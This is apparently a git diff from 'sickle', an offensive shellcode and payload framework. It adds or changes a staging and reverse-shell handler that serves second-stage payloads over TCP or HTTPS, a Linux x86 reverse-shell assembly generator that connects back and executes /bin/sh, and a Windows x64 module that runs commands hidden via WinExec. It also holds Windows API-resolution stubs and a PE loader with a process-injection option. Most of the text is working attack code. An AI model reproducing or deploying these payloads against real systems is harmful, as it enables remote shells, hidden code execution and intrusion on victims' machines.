mov eax, [ebp - {self.storage_offsets['LoadLibraryA']}]
|
||||
call eax"""
|
||||
|
||||
return stub
|
||||
|
||||
def get_resolver(self):
|
||||
"""This function is responsible for loading all libraries and resolving respective functions
|
||||
"""
|
||||
|
||||
if smartarch.arch_used == "x64":
|
||||
|
||||
stub = ""
|
||||
for lib, imports in self.dependencies.items():
|
||||
if (lib != "Kernel32.dll"):
|
||||
stub += self.get_loader_stub(lib)
|
||||
stub += """
|
||||
mov rdi, rax
|
||||
"""
|
||||
|
||||
for func in range(len(imports)):
|
||||
stub += f"""
|
||||
get_{imports[func]}:
|
||||
mov rdx, {convert.from_str_to_win_hash(imports[func])}
|
||||
call lookupFunction
|
||||
mov [rbp - {self.storage_offsets[imports[func]]}], rax
|
||||
"""
|
||||
|
||||
elif smartarch.arch_used == "x86":
|
||||
|
||||
stub = ""
|
||||
for lib, imports in self.dependencies.items():
|
||||
if (lib != "Kernel32.dll"):
|
||||
stub += self.get_loader_stub(lib)
|
||||
stub += """
|
||||
mov edi, eax
|
||||
"""
|
||||
|
||||
for func in range(len(imports)):
|
||||
stub += f"""
|
||||
get_{imports[func]}:
|
||||
mov edx, {convert.from_str_to_win_hash(imports[func])}
|
||||
call lookupFunction
|
||||
mov [ebp - {self.storage_offsets[imports[func]]}], eax
|
||||
"""
|
||||
|
||||
return stub
|
||||
|
||||
|
||||
def get_prologue(self):
|
||||
"""This function will generate a generic function prologue based on the flags provided
|
||||
by the user.
|
||||
"""
|
||||
|
||||
if smartarch.arch_used == "x64":
|
||||
|
||||
stub = "_start:\n"
|
||||
|
||||
if self.exit_technique == "func":
|
||||
stub += """ push rbp
|
||||
mov rbp, rsp\n"""
|
||||
|
||||
stub += f" sub rsp, {self.stack_space}\n"
|
||||
|
||||
if self.exit_technique != "func":
|
||||
stub += " and rsp, 0xfffffffffffffff0\n"
|
||||
|
||||
stub += """ call getKernel32
|
||||
mov rdi, rax\n"""
|
||||
|
||||
elif smartarch.arch_used == "x86":
|
||||
|
||||
stub = "_start:\n"
|
||||
|
||||
if self.exit_technique == "func":
|
||||
stub += f""" push ebp
|
||||
mov ebp, esp\n"""
|
||||
|
||||
stub += f""" ; Allocate the stack space with the use of AL of EAX in order to avoid a NULL byte
|
||||
xor eax, eax
|
||||
mov al, {self.stack_space}
|
||||
sub esp, eax\n"""
|
||||
|
||||
if self.exit_technique != "func":
|
||||
stub += " and esp, 0xFFFFFFF0\n"
|
||||
|
||||
return stub
|
||||
|
||||
def get_epilogue(self):
|
||||
"""This function will generate a generic function epilogue based on the flags provided
|
||||
by the user.
|
||||
"""
|
||||
|
||||
if smartarch.arch_used == "x64":
|
||||
|
||||
stub = ""
|
||||
|
||||
if self.exit_technique == "func":
|
||||
stub += f"""fin:
|
||||
leave
|
||||
ret\n"""
|
||||
|
||||
elif self.exit_technique == "thread":
|
||||
stub += f"""
|
||||
; RAX => RtlExitUserThread([in] DWORD dwExitCode); // RCX => 0
|
||||
call_RtlExitUserThread:
|
||||
xor rcx, rcx
|
||||
mov rax, [rbp - {self.storage_offsets['RtlExitUserThread']}]
|
||||
call rax\n"""
|
||||
|
||||
elif self.exit_technique == "process":
|
||||
stub += f"""
|
||||
; RAX => ExitProcess([in] UINT uExitCode); // RCX => 0
|
||||
call_ExitProcess:
|
||||
xor rcx, rcx
|
||||
mov rax, [rbp - {self.storage_offsets['ExitProcess']}]
|
||||
call rax\n"""
|
||||
|
||||
elif self.exit_technique == "terminate":
|
||||
stub += f"""
|
||||
; RAX => TerminateProcess([in] HANDLE hProcess, // RCX => -1 (Current Process)
|
||||
; [in] UINT uExitCode); // RDX => 0x00 (Clean Exit)
|
||||
call_TerminateProcess:
|
||||
xor rcx, rcx
|
||||
dec rcx
|
||||
xor rdx, rdx
|
||||
mov rax, [rbp - {self.storage_offsets['TerminateProcess']}]
|
||||
call rax\n"""
|
||||
|
||||
if smartarch.arch_used == "x86":
|
||||
|
||||
stub = ""
|
||||
|
||||
if self.exit_technique == "func":
|
||||
stub += """fin:
|
||||
leave
|
||||
ret\n"""
|
||||
|
||||
elif self.exit_technique == "thread":
|
||||
stub += f"""
|
||||
; EAX => RtlExitUserThread([in] DWORD dwExitCode);
|
||||
call_RtlExitUserThread:
|
||||
xor ecx, ecx
|
||||
push ecx
|
||||
mov eax, [ebp - {self.storage_offsets['RtlExitUserThread']}]
|
||||
call eax\n"""
|
||||
|
||||
elif self.exit_technique == "process":
|
||||
stub += f"""
|
||||
; EAX => ExitProcess([in] UINT uExitCode); // RCX => 0
|
||||
call_ExitProcess:
|
||||
xor ecx, ecx
|
||||
mov eax, [ebp - {self.storage_offsets['ExitProcess']}]
|
||||
call eax\n"""
|
||||
|
||||
elif self.exit_technique == "terminate":
|
||||
stub += f"""
|
||||
; EAX => TerminateProcess([in] HANDLE hProcess,
|
||||
; [in] UINT uExitCode);
|
||||
call_TerminateProcess:
|
||||
xor ecx, ecx
|
||||
push ecx
|
||||
dec ecx
|
||||
push ecx
|
||||
mov eax, [ebp - {self.storage_offsets['TerminateProcess']}]
|
||||
call eax\n"""
|
||||
|
||||
return stub
|
||||
@@ -1,15 +1,14 @@
|
||||
import os
|
||||
import sys
|
||||
|
||||
from sickle.common.lib.reversing.smartarch import set_arch
|
||||
from sickle.common.lib.reversing import smartarch
|
||||
from sickle.common.lib.generic import modparser
|
||||
from sickle.common.lib.generic import extract
|
||||
|
||||
from sickle.common.handlers.format_handler import FormatHandler
|
||||
from sickle.common.handlers.module_handler import ModuleHandler
|
||||
from sickle.common.handlers.shellcode_handler import ShellcodeHandler
|
||||
|
||||
from sickle.common.lib.generic.modparser import print_module_info
|
||||
from sickle.common.lib.generic.extract import read_bytes_from_file
|
||||
|
||||
class Handle():
|
||||
"""This class should be looked at as the coordinator of the framework.
|
||||
Execution flow is generally directed from here.
|
||||
@@ -64,9 +63,9 @@ class Handle():
|
||||
if (self.payload and self.module != "format"):
|
||||
sys.exit(f"Payload and the module information at the same time? Go get some coffee..")
|
||||
elif (self.module != "format"):
|
||||
print_module_info("modules", self.module)
|
||||
modparser.print_module_info("modules", self.module)
|
||||
elif (self.payload):
|
||||
print_module_info("payloads", self.payload)
|
||||
modparser.print_module_info("payloads", self.payload)
|
||||
else:
|
||||
sys.exit(f"What do you want information for?")
|
||||
|
||||
@@ -91,13 +90,13 @@ class Handle():
|
||||
# This is where we actually read the bytecode / binary data and assign it
|
||||
# to the module_args dictionary.
|
||||
if self.binfile:
|
||||
read_bytes = read_bytes_from_file(self.binfile)
|
||||
read_bytes = extract.read_bytes_from_file(self.binfile)
|
||||
elif self.payload:
|
||||
# Set the architecture before generating any shellcode. This is needed
|
||||
# in order for structures to use the right pointer sizes. For example,
|
||||
# x86 (4), x64 (8), and so on...
|
||||
generator = ShellcodeHandler(self.payload, self.module_args)
|
||||
self.module_args["architecture"] = set_arch(self.payload)
|
||||
self.module_args["architecture"] = smartarch.set_arch(self.payload)
|
||||
read_bytes = generator.get_shellcode()
|
||||
else:
|
||||
read_bytes = None
|
||||
|
||||
@@ -3,9 +3,10 @@ import cmd
|
||||
|
||||
from sickle.formats import *
|
||||
|
||||
from sickle.common.lib.generic import convert
|
||||
|
||||
from sickle.common.handlers.format_handler import FormatHandler
|
||||
from sickle.common.lib.reversing.assembler import Assembler
|
||||
from sickle.common.lib.generic.convert import from_hex_to_raw
|
||||
from sickle.common.lib.reversing.disassembler import Disassembler
|
||||
|
||||
class Module():
|
||||
@@ -65,7 +66,7 @@ class AsmShell(cmd.Cmd):
|
||||
def do_d(self, line):
|
||||
"""d [48ffc0]
|
||||
Convert opcode to assembly language"""
|
||||
raw_bytes = from_hex_to_raw(line)
|
||||
raw_bytes = convert.from_hex_to_raw(line)
|
||||
|
||||
try:
|
||||
results = self.disassembler.get_linear_sweep(raw_bytes)
|
||||
@@ -91,7 +92,7 @@ class AsmShell(cmd.Cmd):
|
||||
for i in range(len(encoding)):
|
||||
hex_line += ("{:02x}".format(encoding[i]))
|
||||
|
||||
self.fm.raw_bytes = from_hex_to_raw(hex_line)
|
||||
self.fm.raw_bytes = convert.from_hex_to_raw(hex_line)
|
||||
opcode_line = self.fm.get_generated_lines(True, True)[0]
|
||||
|
||||
if (li['single line comment'] != None):
|
||||
|
||||
@@ -0,0 +1,248 @@
|
||||
import os
|
||||
import sys
|
||||
import ssl
|
||||
import time
|
||||
import struct
|
||||
import socket
|
||||
import getpass
|
||||
import threading
|
||||
import http.server
|
||||
import socketserver
|
||||
|
||||
from sickle.common.lib.generic import modparser
|
||||
|
||||
time_start = time.time()
|
||||
|
||||
class TCPStagerHandler(socketserver.StreamRequestHandler):
|
||||
"""This class is responsible for handling incoming TCP based connections.
|
||||
Wherein there is an expectation that the client expects a second stage to
|
||||
be sent. That said upon recieving a connection this handler will send a
|
||||
second stage to the target
|
||||
"""
|
||||
|
||||
def handle(self):
|
||||
"""Handles TCP connection
|
||||
"""
|
||||
|
||||
log_print(f"Sending stage ({len(self.server.stage)} bytes) to {self.client_address[0]}\n")
|
||||
self.request.send(struct.pack('<Q', len(self.server.stage)))
|
||||
self.request.send(self.server.stage)
|
||||
|
||||
class SimpleTTYHandler(socketserver.StreamRequestHandler):
|
||||
"""This class is responsible for handling incoming TCP based reverse shells.
|
||||
Consider this to operate in a similiar fashion to a standard netcat. As the
|
||||
module gets updated it will be able to handle common mistakes made by users
|
||||
such as hitting [CTRL] + [C].
|
||||
"""
|
||||
|
||||
def handle(self):
|
||||
"""Handles the TCP session
|
||||
"""
|
||||
|
||||
log_print(f"Connection established with {self.client_address[0]}\n\n")
|
||||
|
||||
while True:
|
||||
|
||||
self.request.settimeout(0.1)
|
||||
|
||||
response = b""
|
||||
while True:
|
||||
try:
|
||||
data = self.request.recv(4096)
|
||||
except:
|
||||
break
|
||||
|
||||
response += data
|
||||
|
||||
self.request.settimeout(30)
|
||||
|
||||
shell_prompt = response.decode('latin-1')
|
||||
|
||||
self.request.sendall(input(shell_prompt).encode('latin-1') + b'\n')
|
||||
|
||||
class HTTPSStagerHandler(http.server.BaseHTTPRequestHandler):
|
||||
|
||||
def do_GET(self):
|
||||
"""Handles GET requests made to the HTTPS server
|
||||
"""
|
||||
|
||||
if (self.server.uri_path in self.path):
|
||||
log_print(f"Sending stage ({len(self.server.stage)} bytes) to {self.client_address[0]}\n")
|
||||
self.wfile.write(struct.pack('<Q', len(self.server.stage)))
|
||||
self.wfile.write(self.server.stage)
|
||||
|
||||
class Module():
|
||||
|
||||
name = "Payload Session Handler"
|
||||
|
||||
module = "handler"
|
||||
|
||||
example_run = f"{sys.argv[0]} -m {module} -p windows/x64/reflective_pe_loader EXE=/tmp/payload.exe HANDLER=https SRVHOST=192.168.50.210 SRVPORT=443"
|
||||
|
||||
platform = "Multi"
|
||||
|
||||
arch = "Multi"
|
||||
|
||||
ring = 3
|
||||
|
||||
author = ["wetw0rk"]
|
||||
|
||||
tested_platforms = ["Linux", "Windows"]
|
||||
|
||||
summary = "Module for handling payload distribution and session management"
|
||||
|
||||
description = ("Starts a \"handler\" object to manage payload distribution. This module also"
|
||||
" supports handling TTY sessions for standard reverse shells.")
|
||||
|
||||
arguments = {}
|
||||
arguments["SRVHOST"] = {}
|
||||
arguments["SRVHOST"]["optional"] = "yes"
|
||||
arguments["SRVHOST"]["description"] = "IP to bind handler to"
|
||||
|
||||
arguments["SRVPORT"] = {}
|
||||
arguments["SRVPORT"]["optional"] = "yes"
|
||||
arguments["SRVPORT"]["description"] = "Port to bind handler to"
|
||||
|
||||
arguments["HANDLER"] = {}
|
||||
arguments["HANDLER"]["optional"] = "no"
|
||||
arguments["HANDLER"]["description"] = "Handler for incoming connections"
|
||||
arguments["HANDLER"]["options"] = { "tty": "Simple TTY handler similiar to netcat for capturing a shell",
|
||||
"tcp": "Simple TCP handler to distribute second stage payloads",
|
||||
"https": "Simple HTTPS handler to distribute second stage payloads", }
|
||||
|
||||
advanced = {}
|
||||
advanced["PATH"] = {}
|
||||
advanced["PATH"]["optional"] = "yes"
|
||||
advanced["PATH"]["description"] = "The path expected to be reached by our payload to send the second stage"
|
||||
|
||||
advanced["CERT"] = {}
|
||||
advanced["CERT"]["optional"] = "yes"
|
||||
advanced["CERT"]["description"] = "The path to a custom PEM file to use for SSL communication"
|
||||
|
||||
def __init__(self, arg_object):
|
||||
|
||||
self.arg_list = arg_object["positional arguments"]
|
||||
self.stage = arg_object["raw bytes"]
|
||||
|
||||
self.set_args()
|
||||
|
||||
def set_args(self):
|
||||
|
||||
all_args = Module.arguments
|
||||
all_args.update(Module.advanced)
|
||||
argv_dict = modparser.argument_check(all_args, self.arg_list)
|
||||
if (argv_dict == None):
|
||||
exit(-1)
|
||||
|
||||
self.handler = argv_dict["HANDLER"]
|
||||
|
||||
# Set the SRVHOST and SRVPORT to distribute payloads
|
||||
if "SRVHOST" not in argv_dict.keys():
|
||||
self.srvhost = "0.0.0.0"
|
||||
else:
|
||||
self.srvhost = argv_dict["SRVHOST"]
|
||||
|
||||
if "SRVPORT" not in argv_dict.keys():
|
||||
self.srvport = 4242
|
||||
else:
|
||||
self.srvport = int(argv_dict["SRVPORT"])
|
||||
|
||||
# Set the PATH used by HTTP(S) handlers
|
||||
if "PATH" not in argv_dict.keys():
|
||||
self.uri_path = "corn"
|
||||
else:
|
||||
self.uri_path = argv_dict["PATH"]
|
||||
|
||||
# Set the CERT path that is used by HTTPS if there is not one present, create it
|
||||
if "CERT" not in argv_dict.keys():
|
||||
cert_dir = f"/home/{getpass.getuser()}/.local/share/sickle/"
|
||||
if os.path.isfile(f"{cert_dir}/cert.pem") == False:
|
||||
log_print("It appears that the HTTPS handler does not have a default certificate generated\n")
|
||||
log_print("Would you like to generate one (Y/N): ")
|
||||
create_cert = input()
|
||||
if (create_cert.lower() == 'y') or (create_cert.lower() == 'yes'):
|
||||
cmd = f"openssl req -new -x509 -keyout {cert_dir}/cert.pem -out {cert_dir}/cert.pem -days 31337 -nodes"
|
||||
log_print(f"Executing: {cmd}\n")
|
||||
os.system(cmd)
|
||||
|
||||
self.cert = f"{cert_dir}/cert.pem"
|
||||
else:
|
||||
self.cert = argv_dict["CERT"]
|
||||
if os.path.isfile(self.cert) == False:
|
||||
log_print("Unable to open {self.cert}\n")
|
||||
exit(-1)
|
||||
|
||||
def do_thing(self):
|
||||
|
||||
if self.handler == "tty":
|
||||
self.start_tty_handler()
|
||||
elif self.handler == "tcp":
|
||||
self.start_tcp_handler()
|
||||
elif self.handler == "https":
|
||||
self.start_https_handler()
|
||||
else:
|
||||
print(f"{self.handler} is not a valid handler\n")
|
||||
exit(-1)
|
||||
|
||||
def start_https_handler(self):
|
||||
|
||||
s_addr = (self.srvhost, self.srvport)
|
||||
httpd = http.server.HTTPServer(s_addr, HTTPSStagerHandler)
|
||||
log_print(f"HTTPSStagerHandler started, serving payloads @{{{self.srvhost}:{self.srvport}}}\n")
|
||||
|
||||
sslctx = ssl.SSLContext(ssl.PROTOCOL_TLS_SERVER)
|
||||
sslctx.check_hostname = False
|
||||
sslctx.load_cert_chain(certfile=self.cert,
|
||||
keyfile=None,
|
||||
password=None)
|
||||
|
||||
httpd.socket = sslctx.wrap_socket(httpd.socket,
|
||||
server_side=True)
|
||||
|
||||
httpd.stage = self.stage
|
||||
httpd.uri_path = self.uri_path
|
||||
|
||||
httpd.serve_forever()
|
||||
|
||||
def start_tcp_handler(self):
|
||||
"""Starts a TCP Handler, allowing you to respond to a client using a
|
||||
custom stager. This is useful when using staged stubs in which the
|
||||
initial stub reaches out this this handler and executes the bytes we
|
||||
send.
|
||||
|
||||
:return: Nothing
|
||||
:rtype: None
|
||||
"""
|
||||
|
||||
stage_server = socketserver.TCPServer((self.srvhost, self.srvport), TCPStagerHandler)
|
||||
log_print(f"TCPStagerHandler started, serving payloads @{{{self.srvhost}:{self.srvport}}}\n")
|
||||
stage_server.stage = self.stage
|
||||
stage_server.serve_forever()
|
||||
|
||||
def start_tty_handler(self):
|
||||
"""Starts a TTY Handler, essentially allowing you to capture a reverse
|
||||
shell and interact with it.
|
||||
|
||||
:return: Nothing
|
||||
:rtype: None
|
||||
"""
|
||||
|
||||
log_print(f"SimpleTTYHandler started on {self.srvhost}:{self.srvport}\n")
|
||||
server = socketserver.TCPServer((self.srvhost, self.srvport), SimpleTTYHandler)
|
||||
server.serve_forever()
|
||||
|
||||
def log_print(msg):
|
||||
"""Prints a message with a timestamp prepended. This timestamp is based on
|
||||
when the handler was started.
|
||||
|
||||
:param msg: The string to be printed alongside the timestamp
|
||||
:type msg: str
|
||||
|
||||
:return: Prints message to stdout and returns nothing
|
||||
:rtype: None
|
||||
"""
|
||||
|
||||
elapsed = time.time() - time_start
|
||||
sys.stdout.write(f"[{elapsed:12.6f}] {msg}")
|
||||
|
||||
return
|
||||
@@ -2,7 +2,12 @@ import os
|
||||
import sys
|
||||
import ctypes
|
||||
|
||||
from ctypes import CDLL, c_char_p, c_void_p, memmove, cast, CFUNCTYPE
|
||||
from ctypes import CDLL
|
||||
from ctypes import c_char_p
|
||||
from ctypes import c_void_p
|
||||
from ctypes import memmove
|
||||
from ctypes import cast
|
||||
from ctypes import CFUNCTYPE
|
||||
|
||||
class Module():
|
||||
|
||||
|
||||
@@ -56,7 +56,7 @@ class Shellcode():
|
||||
"execve"])
|
||||
|
||||
def generate_source(self):
|
||||
"""Returns bytecode generated by the keystone engine.
|
||||
"""Returns assembly source code for the main functionality of the stub
|
||||
"""
|
||||
|
||||
argv_dict = modparser.argument_check(Shellcode.arguments, self.arg_list)
|
||||
@@ -73,71 +73,74 @@ class Shellcode():
|
||||
sin_family = struct.pack('>H', bits_socket.AF_INET).hex()
|
||||
|
||||
source_code = f"""
|
||||
start:
|
||||
; int syscall(SYS_socketcall, // EAX => socketcall syscall
|
||||
; int call, // EBX => SYS_SOCKET
|
||||
; unsigned long *args) // ECX => *(int domain, int type, protocol)
|
||||
xor ebx, ebx
|
||||
mul ebx
|
||||
push ebx
|
||||
inc ebx ; Store the call type of SYS_SOCKET into EBX
|
||||
push ebx
|
||||
push {sin_family}
|
||||
mov ecx, esp ; Store pointer to args (AF_INET, SOCK_STREAM, IPPROTO_IP) into ECX
|
||||
mov al, {self.syscalls['socketcall']}
|
||||
int 0x80
|
||||
start:
|
||||
; int syscall(SYS_socketcall, // EAX => socketcall syscall
|
||||
; int call, // EBX => SYS_SOCKET
|
||||
; unsigned long *args) // ECX => *(int domain, int type, protocol)
|
||||
xor ebx, ebx
|
||||
mul ebx
|
||||
push ebx
|
||||
inc ebx ; Store the call type of SYS_SOCKET into EBX
|
||||
push ebx
|
||||
push {sin_family}
|
||||
mov ecx, esp ; Store pointer to args (AF_INET, SOCK_STREAM, IPPROTO_IP) into ECX
|
||||
mov al, {self.syscalls['socketcall']}
|
||||
int 0x80
|
||||
|
||||
; i = 2
|
||||
; while (i <= 0)
|
||||
; dup2(sockfd, i--)
|
||||
xchg eax, ebx ; Save the socket file descriptor into ECX (sockfd)
|
||||
pop ecx ; Initialize the loop counter (0x2 was last pushed onto the stack)
|
||||
loop:
|
||||
mov al, {self.syscalls['dup2']}
|
||||
int 0x80
|
||||
dec ecx ; Decrement the loop counter
|
||||
jns loop
|
||||
|
||||
connect:
|
||||
; int syscall(SYS_socketcall, // EAX => socketcall syscall
|
||||
; int call, // EBX => SYS_CONNECT
|
||||
; unsigned long *args) // ECX => *(sockfd, (struct sockaddr*), sizeof((struct sockaddr *))
|
||||
push {sin_addr} ; client.sin_addr.s_addr = inet_addr(LHOST)
|
||||
push 0x{sin_port}{sin_family} ; client.sin_port = htons(LPORT)
|
||||
; client.sin_family = AF_INET
|
||||
; i = 2
|
||||
; while (i <= 0)
|
||||
; dup2(sockfd, i--)
|
||||
xchg eax, ebx ; Save the socket file descriptor into ECX (sockfd)
|
||||
pop ecx ; Initialize the loop counter (0x2 was last pushed onto the stack)
|
||||
loop:
|
||||
mov al, {self.syscalls['dup2']}
|
||||
int 0x80
|
||||
dec ecx ; Decrement the loop counter
|
||||
jns loop
|
||||
|
||||
mov ecx, esp ; Store the pointer to the sockaddr struct into ECX
|
||||
mov al, {self.syscalls['socketcall']}
|
||||
|
||||
push eax ; sizeof(client)
|
||||
push ecx ; *args
|
||||
push ebx ; sockfd
|
||||
connect:
|
||||
; int syscall(SYS_socketcall, // EAX => socketcall syscall
|
||||
; int call, // EBX => SYS_CONNECT
|
||||
; unsigned long *args) // ECX => *(sockfd, (struct sockaddr*), sizeof((struct sockaddr *))
|
||||
push {sin_addr} ; client.sin_addr.s_addr = inet_addr(LHOST)
|
||||
push 0x{sin_port}{sin_family} ; client.sin_port = htons(LPORT)
|
||||
; client.sin_family = AF_INET
|
||||
|
||||
mov bl, {net.SYS_CONNECT}
|
||||
|
||||
mov ecx,esp ; Store pointer to args (sockfd, (struct sockaddr *)&client, sizeof(client)) into ECX
|
||||
int 0x80
|
||||
mov ecx, esp ; Store the pointer to the sockaddr struct into ECX
|
||||
mov al, {self.syscalls['socketcall']}
|
||||
|
||||
push eax ; sizeof(client)
|
||||
push ecx ; *args
|
||||
push ebx ; sockfd
|
||||
|
||||
shell:
|
||||
; int execve(const char *filename, // EBX => *"/bin/sh
|
||||
; char *const argv[], // ECX => NULL
|
||||
; char *const envp[]) // EDX => NULL
|
||||
xor ecx, ecx
|
||||
push ecx
|
||||
push dword 0x68732f2f
|
||||
push dword 0x6e69622f ; Stack should not point to "/bin//sh"
|
||||
mov bl, {net.SYS_CONNECT}
|
||||
|
||||
mov ecx,esp ; Store pointer to args (sockfd, (struct sockaddr *)&client, sizeof(client)) into ECX
|
||||
int 0x80
|
||||
|
||||
mov ebx,esp ; Place pointer to "/bin//sh" into EBX
|
||||
mov al, {self.syscalls['execve']} ; execve syscall
|
||||
int 0x80
|
||||
shell:
|
||||
; int execve(const char *filename, // EBX => *"/bin/sh
|
||||
; char *const argv[], // ECX => NULL
|
||||
; char *const envp[]) // EDX => NULL
|
||||
xor ecx, ecx
|
||||
push ecx
|
||||
push dword 0x68732f2f
|
||||
push dword 0x6e69622f ; Stack should not point to "/bin//sh"
|
||||
|
||||
mov ebx,esp ; Place pointer to "/bin//sh" into EBX
|
||||
mov al, {self.syscalls['execve']} ; execve syscall
|
||||
int 0x80
|
||||
"""
|
||||
|
||||
return source_code
|
||||
|
||||
def get_shellcode(self):
|
||||
"""Generates Shellcode
|
||||
"""
|
||||
|
||||
generator = Assembler(Shellcode.arch)
|
||||
|
||||
src = self.generate_source()
|
||||
|
||||
return generator.get_bytes_from_asm(src)
|
||||
shellcode = generator.get_bytes_from_asm(src)
|
||||
|
||||
return shellcode
|
||||
|
||||
Binary file not shown.
@@ -0,0 +1,159 @@
|
||||
import sys
|
||||
import struct
|
||||
|
||||
from sickle.common.lib.generic import convert
|
||||
from sickle.common.lib.generic import modparser
|
||||
from sickle.common.lib.programmer import builder
|
||||
from sickle.common.lib.programmer import stubhub
|
||||
|
||||
from sickle.common.lib.reversing.assembler import Assembler
|
||||
|
||||
class Shellcode():
|
||||
|
||||
arch = "x64"
|
||||
|
||||
platform = "windows"
|
||||
|
||||
name = f"Windows ({arch}) Execute Command"
|
||||
|
||||
module = f"{platform}/{arch}/exec"
|
||||
|
||||
example_run = f"{sys.argv[0]} -p {module} EXEC=calc.exe"
|
||||
|
||||
ring = 3
|
||||
|
||||
author = ["wetw0rk"]
|
||||
|
||||
tested_platforms = ["Windows 10 (10.0.17763 N/A Build 17763)"]
|
||||
|
||||
summary = ("Executes a command on the target host")
|
||||
|
||||
description = ("Executes a command on the target host")
|
||||
|
||||
arguments = {}
|
||||
arguments["EXEC"] = {}
|
||||
arguments["EXEC"]["optional"] = "no"
|
||||
arguments["EXEC"]["description"] = "Command to be executed"
|
||||
|
||||
advanced = {}
|
||||
advanced["EXITFUNC"] = {}
|
||||
advanced["EXITFUNC"]["optional"] = "yes"
|
||||
advanced["EXITFUNC"]["description"] = "Exit technique"
|
||||
advanced["EXITFUNC"]["options"] = { "terminate": "Terminates the process and all of its threads",
|
||||
"func": "Have the shellcode operate as function",
|
||||
"thread": "Exit as a thread",
|
||||
"process": "Exit as a process" }
|
||||
|
||||
def __init__(self, arg_object):
|
||||
|
||||
self.arg_list = arg_object["positional arguments"]
|
||||
|
||||
self.dependencies = {
|
||||
"Kernel32.dll": [
|
||||
"WinExec",
|
||||
],
|
||||
}
|
||||
|
||||
self.set_args()
|
||||
|
||||
sc_args = builder.init_sc_args(self.dependencies)
|
||||
sc_args.update({"lpCommandLine" : self.cmd_len })
|
||||
|
||||
self.stack_space = builder.calc_stack_space(sc_args)
|
||||
self.storage_offsets = builder.gen_offsets(sc_args)
|
||||
|
||||
return
|
||||
|
||||
def set_args(self):
|
||||
"""Configure the arguments that may be used by the shellcode stub
|
||||
"""
|
||||
|
||||
all_args = Shellcode.arguments
|
||||
all_args.update(Shellcode.advanced)
|
||||
argv_dict = modparser.argument_check(all_args, self.arg_list)
|
||||
if (argv_dict == None):
|
||||
exit(-1)
|
||||
|
||||
# Set the command that will be executed by the shellcode. We must ensure
|
||||
# to NULL terminate it.
|
||||
self.cmd = argv_dict["EXEC"]
|
||||
|
||||
self.cmd += "\x00"
|
||||
while (len(self.cmd) % 8) != 0:
|
||||
self.cmd += "\x00"
|
||||
|
||||
# Document the size of the shell environment
|
||||
self.cmd_len = len(self.cmd)
|
||||
|
||||
# Set the EXITFUNC and update the necessary dependencies
|
||||
self.exit_func = ""
|
||||
if "EXITFUNC" not in argv_dict.keys():
|
||||
self.exit_func = "terminate"
|
||||
else:
|
||||
self.exit_func = argv_dict["EXITFUNC"]
|
||||
|
||||
if self.exit_func == "terminate":
|
||||
self.dependencies["Kernel32.dll"] += "TerminateProcess",
|
||||
elif self.exit_func == "thread":
|
||||
self.dependencies["ntdll.dll"] = "RtlExitUserThread",
|
||||
self.dependencies["Kernel32.dll"] += "LoadLibraryA",
|
||||
elif self.exit_func == "process":
|
||||
self.dependencies["Kernel32.dll"] += "ExitProcess",
|
||||
|
||||
return 0
|
||||
|
||||
def gen_main(self):
|
||||
"""Returns assembly source code for the main functionality of the stub
|
||||
"""
|
||||
|
||||
src = f"""
|
||||
; RAX => WinExec([in] LPCSTR lpCmdLine, // RCX => "command"
|
||||
; [in] UINT uCmdShow); // RDX => SW_HIDE
|
||||
call_WinExec:\n"""
|
||||
|
||||
cmd_buffer = convert.from_str_to_xwords(self.cmd)
|
||||
write_index = self.storage_offsets['lpCommandLine']
|
||||
|
||||
for i in range(len(cmd_buffer["QWORD_LIST"])):
|
||||
src += " mov rcx, 0x{}\n".format( struct.pack('<Q', cmd_buffer["QWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], rcx\n".format(hex(write_index))
|
||||
write_index -= 8
|
||||
|
||||
for i in range(len(cmd_buffer["DWORD_LIST"])):
|
||||
src += " mov ecx, 0x{}\n".format( struct.pack('<L', cmd_buffer["DWORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], ecx\n".format(hex(write_index))
|
||||
write_index -= 4
|
||||
|
||||
for i in range(len(cmd_buffer["WORD_LIST"])):
|
||||
src += " mov cx, 0x{}\n".format( struct.pack('<H', cmd_buffer["WORD_LIST"][i]).hex() )
|
||||
src += " mov [rbp-{}], cx\n".format(hex(write_index))
|
||||
write_index -= 2
|
||||
|
||||
for i in range(len(cmd_buffer["BYTE_LIST"])):
|
||||
src += " mov cl, {}\n".format( hex(cmd_buffer["BYTE_LIST"][i]) )
|
||||
src += " mov [rbp-{}], cl\n".format(hex(write_index))
|
||||
write_index -= 1
|
||||
|
||||
src += f""" xor rdx, rdx
|
||||
mov [rbp - {write_index}], dl
|
||||
lea rcx, [rbp - {self.storage_offsets['lpCommandLine']}]
|
||||
mov rax, [rbp - {self.storage_offsets['WinExec']}]
|
||||
call rax\n"""
|
||||
|
||||
return src
|
||||
|
||||
def get_shellcode(self):
|
||||
"""Generates Shellcode
|
||||
"""
|
||||
|
||||
generator = Assembler(Shellcode.arch)
|
||||
win_stubs = stubhub.WinRawr(self.storage_offsets,
|
||||
self.dependencies,
|
||||
self.stack_space,
|
||||
self.exit_func)
|
||||
|
||||
main_src = self.gen_main()
|
||||
src = win_stubs.gen_source(main_src)
|
||||
shellcode = generator.get_bytes_from_asm(src)
|
||||
|
||||
return shellcode
|
||||
@@ -1,20 +1,16 @@
|
||||
import sys
|
||||
import math
|
||||
import ctypes
|
||||
import struct
|
||||
|
||||
from sickle.common.lib.generic import extract
|
||||
from sickle.common.lib.generic import convert
|
||||
from sickle.common.lib.generic import modparser
|
||||
from sickle.common.lib.programmer import builder
|
||||
from sickle.common.lib.programmer import stubhub
|
||||
|
||||
from sickle.common.lib.reversing.assembler import Assembler
|
||||
|
||||
from sickle.common.headers.windows import (
|
||||
winnt,
|
||||
ntdef,
|
||||
ws2def,
|
||||
winternl
|
||||
tlhelp32,
|
||||
)
|
||||
|
||||
class Shellcode():
|
||||
@@ -48,26 +44,39 @@ class Shellcode():
|
||||
arguments["EXE"]["optional"] = "no"
|
||||
arguments["EXE"]["description"] = "Executable to be loaded into memory and executed"
|
||||
|
||||
advanced = {}
|
||||
|
||||
advanced["EXITFUNC"] = {}
|
||||
advanced["EXITFUNC"]["optional"] = "yes"
|
||||
advanced["EXITFUNC"]["description"] = "Exit technique"
|
||||
|
||||
advanced["EXITFUNC"]["options"] = { "terminate": "Terminates the process and all of its threads",
|
||||
"thread": "Exit as a thread",
|
||||
"process": "Exit as a process" }
|
||||
|
||||
advanced["PROCESS"] = {}
|
||||
advanced["PROCESS"]["optional"] = "yes"
|
||||
advanced["PROCESS"]["description"] = "Process name to inject PE into"
|
||||
|
||||
def __init__(self, arg_object):
|
||||
|
||||
self.arg_list = arg_object["positional arguments"]
|
||||
|
||||
